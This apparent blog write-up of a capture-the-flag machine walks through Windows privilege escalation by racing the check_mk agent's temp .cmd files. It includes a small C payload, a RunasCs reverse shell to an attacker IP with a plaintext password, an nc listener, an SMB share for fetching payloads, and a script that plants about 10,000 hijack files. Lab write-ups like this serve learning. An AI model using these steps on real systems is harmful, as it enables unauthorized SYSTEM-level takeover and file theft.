Attempted to perform an unauthorized operation.
Man this is so sad… This one almost feels like the one, it's clear and well documented. Let's just check one thing:
'echo test' > C:\Windows\Temp\foo.ps1
C:\Windows\Temp\foo.ps1
test
type C:\Windows\Temp\foo.ps1
echo test
Interesting, ACLs don't inherit, ok so they mention that they explicitly tested 2.1.0, this gives me hope. Let's try to go trough their steps but blindly.
First we need to guess the format of the temp files created by check_mk they follow this format: C:\Windows\Temp\cmk_{}_{}_{}.cmd, those arguments are respectively: a specific string (usually all), the PID, and a counter (often 0 or 1).
The idea is to look at the possible PIDs for the check_mk_agent and to create all possible files before check_mk_agent does, if the file already exists it won't override it, and istead just run it as NT AUTHORITHY\SYSTEM.
The question is what payload do we want it to execute? The writeup uses a PS32 executable instead of following the .cmd. Though the AV fill prevent most revshells and msfvenom payloads, even with encoders and iterations. One solution is to make a simple payload on our own, I first tried with C# but the issue is size, C# is too bloated when doing stand-alones, I could keep the dll separate and put it next to all the files but no… I instead did it in C with the windows.h header file, this gives us a very small executable we can duplicate easily.
#include <windows.h>
#include <stdlib.h>
int main(void) {
system("whoami > C:\\Users\\user\\Desktop\\whoami.txt");
CopyFileA("C:\\Users\\Administrator\\Desktop\\root.txt", "C:\\Windows\\Temp\\root.txt", FALSE);
return 0;
}
Most commands are blocked so I prefer doing both a whoami and a copy just to be sure.
du -sh testCs.exe
# 65M testCs.exe
x86_64-w64-mingw32-gcc -O3 -s test.c -o test.exe
du -sh test.exe
# 20K test.exe
How have we as a society normalized 65MB executables that contain 10 lines of code and one API call… Even with some basic optimization I still get 13MB.
Now we can upload our executable into the machine and copy it into all files.
# First let's check the PID of the process
get-process check_mk_agent
# Handles NPM(K) PM(K) WS(K) CPU(s) Id SI ProcessName
# ------- ------ ----- ----- ------ -- -- -----------
# 221 13 3696 12760 6164 0 check_mk_agent
# The idea is that by forcing a reset/reload of the agent we can get a new PID:
dir C:\Windows\Installer\
# Directory: C:\Windows\Installer
# Mode LastWriteTime Length Name
# ---- ------------- ------ ----
# -a---- 3/28/2025 3:08 PM 12637696 1e6f2.msi
# -a---- 5/10/2023 9:16 AM 184320 387c2.msi
# -a---- 5/10/2023 9:21 AM 184320 387c6.msi
# -a---- 5/10/2023 9:35 AM 192512 387ca.msi
# -a---- 5/10/2023 9:39 AM 192512 387ce.msi
# -a---- 4/2/2025 6:24 PM 60895232 387d1.msi
# Looking at the dates only two are recent enough to make sense:
msiexec /fa C:\Windows\Installer\1e6f2.msi
get-process check_mk_agent
# 234 15 3080 12740 2168 0 check_mk_agent
msiexec /fa C:\Windows\Installer\387d1.msi
get-process check_mk_agent
# 234 15 3080 12740 2168 0 check_mk_agent
Ok for some reason it doesn't reset, I tried also to check for all possible files with that PID or PIDs in that range, by modifying the script used in the writeup:
1000..10000 | ForEach-Object {
$p = "C:\Windows\Temp\cmk_all_{0}_1.cmd" -f $_
if (Test-Path $p -ErrorAction SilentlyContinue) { $p }
}
But nothing. While it doesn't make sense, I started to think about the web_svc user, which does have a C:\Users\web_svc\ directory I cannot access as monitoring_svc, and web_svc
can't PSRemote, though there's ways, we could try with runas though it's hard to use in a semi-interactive shell. Another pretty cool tool called RunasCs that wraps the runas command in a non-interactive-friendly way.
.\RunasCs web_svc dksehdgh712!@# powershell -r 10.10.14.155:4444
nc -lvnp 4444
# Ncat: Connection from 10.129.52.239:50600.
whoami
# nanocorp\web_svc
cd C:\Windows\Temp
dir
# Directory: C:\Windows\Temp
# Mode LastWriteTime Length Name
# ---- ------------- ------ ----
# d----- 11/3/2025 5:05 PM vmware-SYSTEM
# -a---- 11/11/2025 8:13 PM 53 af397ef28e484961ba48646a5d38cf54.db.ses
# -a---- 11/11/2025 8:13 PM 0 mat-debug-5888.log
# -a---- 11/12/2025 2:01 AM 37288 MpCmdRun.log
# -a---- 11/11/2025 8:12 PM 102 silconfig.log
# -a---- 11/4/2025 3:20 PM 189079 vmware-vmsvc-SYSTEM.log
# -a---- 11/4/2025 3:18 PM 16602 vmware-vmtoolsd-Administrator.log
# -a---- 11/11/2025 8:11 PM 20998 vmware-vmtoolsd-SYSTEM.log
# -a---- 11/11/2025 8:28 PM 4891 vmware-vmtoolsd-web_svc.log
# -a---- 11/4/2025 3:20 PM 66145 vmware-vmusr-Administrator.log
# -a---- 11/11/2025 8:28 PM 5980 vmware-vmusr-web_svc.log
# -a---- 11/11/2025 8:11 PM 20132 vmware-vmvss-SYSTEM.log
get-process check_mk_agent
# 234 15 3080 12740 2168 0 check_mk_agent
msiexec /fa C:\Windows\Installer\1e6f2.msi
get-process check_mk_agent
# 236 15 3644 13260 3900 0 check_mk_agent
dir *.cmd
# -a---- 11/12/2025 12:31 PM 1069 cmk_all_3900_1.cmd
# -a---- 11/12/2025 12:31 PM 423 cmk_data_3900_2.cmd
Amazing! We got it, ok let's run it a couple times, it seems, the PID is between 3000 and 8000. Let's craft our own payload, first I have a bad shell so I need to upload it as a .ps1 script, and also get out .exe to have all files be under the web_svc user.
# run.ps1
3000..8000 | foreach {
copy C:\Windows\Temp\shell.exe C:\Windows\Temp\cmk_all_${_}_1.cmd;
copy C:\Windows\Temp\shell.exe C:\Windows\Temp\cmk_data_${_}_2.cmd;
Set-ItemProperty -path C:\Windows\Temp\cmk_all_${_}_1.cmd -name IsReadOnly -value $true;
Set-ItemProperty -path C:\Windows\Temp\cmk_data_${_}_2.cmd -name IsReadOnly -value $true;
}
smbserver.py -smb2support share . -u user -password user
net use Z: \\10.10.14.155\share /user:user user
copy Z:\shell.exe C:\Windows\Temp\shell.exe
copy Z:\run.ps1 C:\Windows\Temp\run.ps1
.\run.ps1
# If I dir there's indeed 10k files created.
msiexec /fa C:\Windows\Installer\1e6f2.msi
type C:\Windows\Temp\root.txt
# <redacted>
2026 © Philippe Cheype
Base theme by Digital Garden